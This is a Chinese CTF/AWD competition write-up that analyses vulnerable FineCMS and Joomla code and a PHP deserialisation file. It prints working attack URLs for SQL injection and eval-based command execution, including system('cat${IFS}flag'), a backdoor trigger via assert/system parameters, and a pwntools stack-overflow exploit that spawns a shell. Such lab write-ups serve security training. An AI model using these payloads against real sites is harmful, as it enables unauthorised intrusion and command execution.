WEBShell检测
这里没有直接可以利用的webshell,将其和网站上下的源码进行对比,除了第三个文件差别比较多之外,就没有其他的区别了。
漏洞查找
这个FineCMS是开源的代码,所以直接查找是否有现成的漏洞:
https://www.ichunqiu.com/course/59007 这个是某春秋的漏洞复现集合
从这个集合里面可知道至少有三个漏洞可以利用:
用户头像处任意文件上传
Sql注入漏洞
命令执行漏洞
漏洞分析与利用
/**
* 上传头像处理
* 传入头像压缩包,解压到指定文件夹后删除非图片文件
*/
public function upload() {
// 创建图片存储文件夹
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete($dir);
!is_dir($dir) && dr_mkdirs($dir);
if ($_POST['tx']) {
$file = str_replace(' ', '+', $_POST['tx']);
if (preg_match('/^([removed])/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
exit(dr_json(0, '目录权限不足或磁盘已满'));
} else {
$this->load->library('image_lib');
$config['create_thumb'] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize($config);
if (!$this->image_lib->resize()) {
exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
break;
}
}
list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
!$type && exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片字符串不规范'));
}
} else {
exit(dr_json(0, '图片不存在'));
}
// 上传图片到服务器
if (defined('UCSSO_API')) {
$rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
!$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
}
exit('1');
}
代码仅判断了是否是图片类型,所以在上传的时候用burp抓包即可。
首先先注册一个用户,之后找打上传头像
之后用Burp拦截并修改
在漏洞集合的文章里,会看到上传错误的报错,但是已经上传成功。但是这个上传后直接返回hack
,审计到代码是:
这里过滤了php,php3/4/5
然后尝试用pht后缀,但是我这里是linux下用phpstudy搭建的环境,所以不支持.pht后缀脚本。但是在赛场上听说是支持的,SO,可以用其绕过上传限制。
漏洞代码位于/finecms/dayrui/controllers/Api.php
中的data2()
函数,
ublic function data2() {
$data = array();
// 安全码认证
$auth = $this->input->get('auth', true);
if ($auth != md5(SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => '授权认证码不正确', 'code' => 0);
} else {
// 解析数据
$cache = '';
$param = $this->input->get('param');
if (isset($param['cache']) && $param['cache']) {
$cache = md5(dr_array2string($param));
$data = $this->get_cache_data($cache);
}
if (!$data) {
// list数据查询
$data = $this->template->list_tag($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);
// 缓存数据
$cache && $this->set_cache_data($cache, $data, $param['cache']);
}
}
// 接收参数
$format = $this->input->get('format');
$function = $this->input->get('function');
if ($function) {
if (!function_exists($function)) {
$data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
} else {
$data = $function($data);
}
}
// 页面输出
if ($format == 'php') {
print_r($data);
} elseif ($format == 'jsonp') {
// 自定义返回名称
echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
} else {
// 自定义返回名称
echo $this->callback_json($data);
}
exit;
}
这个函数可以调用到其他的敏感函数,函数传入的参数进入了$data = $this->template->list_tag($param)
,正常来说系统封装的函数是用户不能调用的,但这里用户可以调用data函数,我们继续追踪,查看/finecms/dayrui/libraries/Template.php
,代码如下:
switch ($system['action']) {
case 'cache': // 系统缓存数据
if (!isset($param['name'])) {
return $this->_return($system['return'], 'name参数不存在');
}
$pos = strpos($param['name'], '.');
if ($pos !== FALSE) {
$_name = substr($param['name'], 0, $pos);
$_param = substr($param['name'], $pos + 1);
} else {
$_name = $param['name'];
$_param = NULL;
}
$cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
if (!$cache) {
return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
}
if ($_param) {
$data = array();
@eval('$data=$cache'.$this->_get_var($_param).';');
if (!$data) {
return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
}
} else {
$data = $cache;
}
return $this->_return($system['return'], $data, '');
break;
...
case 'sql': // 直接sql查询
if (preg_match('/sql=\'(.+)\'/sU', $_params, $sql)) {
// 数据源的选择
$db = $this->ci->db;
// 替换前缀
$sql = str_replace(
array('@#S', '@#'),
array($db->dbprefix.$system['site'], $db->dbprefix),
trim(urldecode($sql[1]))
);
if (stripos($sql, 'SELECT') !== 0) {
return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');
}
$total = 0;
$pages = '';
// 如存在分页条件才进行分页查询
if ($system['page'] && $system['urlrule']) {
$page = max(1, (int)$_GET['page']);
$row = $this->_query(preg_replace('/select \* from/iUs', 'SELECT count(*) as c FROM', $sql), $system['site'], $system['cache'], FALSE);
$total = (int)$row['c'];
$pagesize = $system['pagesize'] ? $system['pagesize'] : 10;
// 没有数据时返回空
if (!$total) {
return $this->_return($system['return'], '没有查询到内容', $sql, 0);
}
$sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize;
$pages = $this->_get_pagination(str_replace('[page]', '{page}', urldecode($system['urlrule'])), $pagesize, $total);
}
$data = $this->_query($sql, $system['site'], $system['cache']);
$fields = NULL;
if ($system['module']) {
$fields = $this->ci->module[$system['module']]['field']; // 模型主表的字段
}
if ($fields) {
// 缓存查询结果
$name = 'list-action-sql-'.md5($sql);
$cache = $this->ci->get_cache_data($name);
if (!$cache && is_array($data)) {
// 模型表的系统字段
$fields['inputtime'] = array('fieldtype' => 'Date');
$fields['updatetime'] = array('fieldtype' => 'Date');
// 格式化显示自定义字段内容
foreach ($data as $i => $t) {
$data[$i] = $this->ci->field_format_value($fields, $t, 1);
}
//$cache = $this->ci->set_cache_data($name, $data, $system['cache']);
$cache = $system['cache'] ? $this->ci->set_cache_data($name, $data, $system['cache']) : $data;
}
$data = $cache;
}
return $this->_return($system['return'], $data, $sql, $total, $pages, $pagesize);
} else {
return $this->_return($system['return'], '参数不正确,SQL语句必须用单引号包起来'); // 没有查询到内容
}
break;
...
}
所以构造index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=sql%20sql='select%20user();'
即可
漏洞代码同样位于/finecms/dayrui/controllers/Api.php
中的data2()
函数:
$cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
if (!$cache) {
return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
}
只需让$cache
有返回值,就可以执行eval()函数了,我们继续追踪_cache_var() :
public function _cache_var($name, $site = SITE_ID) {
$data = NULL;
$name = strtoupper($name);
switch ($name) {
case 'MEMBER':
$data = $this->ci->get_cache('member');
break;
case 'URLRULE':
$data = $this->ci->get_cache('urlrule');
break;
case 'MODULE':
$data = $this->ci->get_cache('module');
break;
case 'CATEGORY':
$site = $site ? $site : SITE_ID;
$data = $this->ci->get_cache('category-'.$site);
break;
default:
$data = $this->ci->get_cache($name.'-'.$site);
break;
}
return $data;
}
所以构造Payload:
index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=cache name=MEMBER.1'];phpinfo();$a=['1
但是如果直接把phpinfo()替换成system(‘cat flag’)会出错,原因是在finecms/dayrui/libraries/Template.php
中的正则匹配会导致return的$string不一致:
...
public function _get_var($param) {
$param=$this->waf($param);
$array = explode('.', $param);
if (!$array) {
return '';
}
$string = '';
foreach ($array as $var) {
$string.= '[';
if (strpos($var, '$') === 0) {
$string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
} elseif (preg_match('/[A-Z_]+/', $var)) {
$string.= ''.$var.'';
} else {
$string.= '\''.$var.'\'';
}
$string.= ']';
}
return $string;
}
...
所以如果输入http://www.finecms.awd/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271%27
如果输入的payload是http://www.finecms.awd/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=cache%20name=MEMBER.1%27];system('cat flag');$a=[%271%27
,会发现从空格处被截断了:
在linux下,如果空格被过滤了,还可以用${IFS}
进行替换,但是依旧会导致return
的$string
不一样:
基于这种情况,可以构造如下信息
http://www.finecms.awd/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=cache%20name=MEMBER.%271%27];system('cat${IFS}flag');$a=[%271%27
WEBShell检测这里看到有一句话木马,定位到文件D:\phpStudy\WWW\byb2018\web\23\libraries\cms\router
但是这个是个类,不能直接访问来使用,所以需要进一步分析。
查找有关Joomla的可以利用的漏洞或者功能:
Joomla内核SQL注入漏洞(CVE-2018-8045)https://www.ichunqiu.com/experiment/detail?id=61621&source=1
Joomla渗透-权限获取与维持 https://www.ichunqiu.com/experiment/detail?id=62987&source=1
这两者出现的问题就不再啰嗦了。
按照文章中说的,先登录后台,然后
按照文中的指示,将其POST的数据URL解码之后放入txt文件中
之后用sqlmap进行检测:
现在来研究第三个点——预置后门:
为了方便调试,将网站根目录下的configuration.php
的debug
选项开启。
之后在用PHPSTORM进行调试,现在index的末尾的地方下断点:
然后再到检测出有后门的代码处下断点:
之后也顺便在这个地方所在的函数开始处下断点:
随后随便访问一下主页的文章,发现断在了有后门的的地方:
也就是访问文章的时候会陷入这个判断,再注意id=3
而我们访问的文章链接是:
/byb2018/23/index.php/3-welcome-to-your-blog
,所以猜测这里的3-welcome-to-your-blog
就是对应着id=3
所以如果构造id=666&A=assert&BB=phpinfo();
就可以执行phpinfo()
命令。
我在复原的靶机里面放了一个模拟的flag,可以构造payload读取:
http://127.0.0.1/index.php/666?A=system&BB=cat+flag
WEBShell检测
这个是安全狗检测的结果,但是追溯到源码,看到以下内容
这里还是不算简单除暴的webshell,但是在大致浏览过网站源代码文件之后,就发现有个test.php
文件,内容如下:
class test{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize($a);
?>
这个部分剩下的坑之后再填吧,断断续续第写了好几天。。。
但是因为是去年的原题,大家还是可以先去看下英俊潇洒风流倜傥只是最近有点过劳肥的Thinking师傅曾经的分析文章,其他的感觉写的没他好,就算有我也不管。。。。。
https://www.freebuf.com/column/153123.html
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rdi
__int64 v4; // rax
signed int v5; // [rsp+1Ch] [rbp-4h]
sub_4043EC(a1, a2, a3);
printf("====== ");
printf(*a2, "Sorry, but wo jin li le, This project bug is so big, you jianchi buliao duojiu de.");
v3 = " ======";
puts(" ======");
while ( 1 )
{
v5 = sub_404466(v3);
v3 = (const char *)&unk_6075A0;
if ( (unsigned int)sub_402CA6(&unk_6075A0, 1LL) != 0 )
{
if ( v5 == 1650553704 )
{
v3 = (const char *)&unk_6075A0;
sub_402CE8(&unk_6075A0);
}
else if ( v5 == 1718378855 )
{
v3 = (const char *)&unk_6075A0;
sub_402D6C(&unk_6075A0);
}
}
if ( v5 == 4 )
break;
if ( v5 > 4 )
{
if ( v5 == 10000 )
{
LABEL_30:
sub_404706();
LABEL_31:
sub_40493D();
}
else
{
if ( v5 > 10000 )
{
if ( v5 == 10010 )
goto LABEL_31;
if ( v5 != 10086 )
goto LABEL_34;
goto LABEL_29;
}
if ( v5 != 5 )
goto LABEL_34;
sub_403E9D();
}
}
else if ( v5 == 1 )
{
v3 = (const char *)&unk_6075A0;
sub_402EDE(&unk_6075A0);
}
else if ( v5 > 1 )
{
if ( v5 == 2 )
{
v3 = (const char *)&unk_6075E0;
sub_40343E(&unk_6075E0);
}
else
{
if ( v5 != 3 )
goto LABEL_34;
v3 = (const char *)&unk_6075E0;
sub_4036BA(&unk_6075E0);
}
}
else
{
if ( !v5 )
{
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "byby~");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
sub_403D5C();
exit(0);
}
LABEL_34:
v3 = "invalid";
puts("invalid");
}
}
v3 = (const char *)std::operator<<<std::char_traits<char>>(&std::cout, "Please wait to development");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
LABEL_29:
sub_4044CF();
goto LABEL_30;
}
其中,在函数sub_402CE8
中有system('/bin/sh')
,可以最后用来getshell:
_DWORD *__fastcall sub_402CE8(_DWORD *a1)
{
__int64 v1; // rax
__int64 v2; // rax
_DWORD *result; // rax
if ( *a1 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Welcome, Your can use shell:");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
system("/bin/sh");
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "You just hava one time to use admin.");
}
else
{
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "You aren't admin, please get out here.");
}
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
result = a1;
*a1 = 0;
return result;
}
EXP 编写思路
因为程序没有开启任何保护,所以先测出填充的长度,然后直接改写RIP的值,让它指到sub_402CE8
就可以了。
程序的主要功能有如下几个:
经过测试,这里只有先登录,才能进行其他的操作。其他的操作里面,在第五个选项中输入200个字节之后出现Segmentation fault
错误。说明此处存在栈溢出。
经过测试,当填充136个无效字符之后,再填写内容将会覆盖RIP,所以可以构造payload:
payload = 'A'*136 + p64(0x402CE8)
因为这里不太清楚比赛时服务器里面UserData文件里面有什么内容,所以测试的时候就先写入admin。
EXP
#coding:utf-8
from pwn import *
p = process('pwn2')
payload = 'A'*136 + p64(0x402CE8)
p.recvuntil('your choose:')
p.sendline('1')
p.recvuntil(':')
p.sendline('admin')
p.recvuntil(':')
p.sendline('a')
p.recvuntil('your choose:')
p.sendline('5')
p.recvuntil('?')
p.sendline(payload)
p.recvuntil('shell:')
p.sendline('cat flag')
p.interactive()
至于批量脚本怎么写,就请各位师傅自己开动脑筋了。=3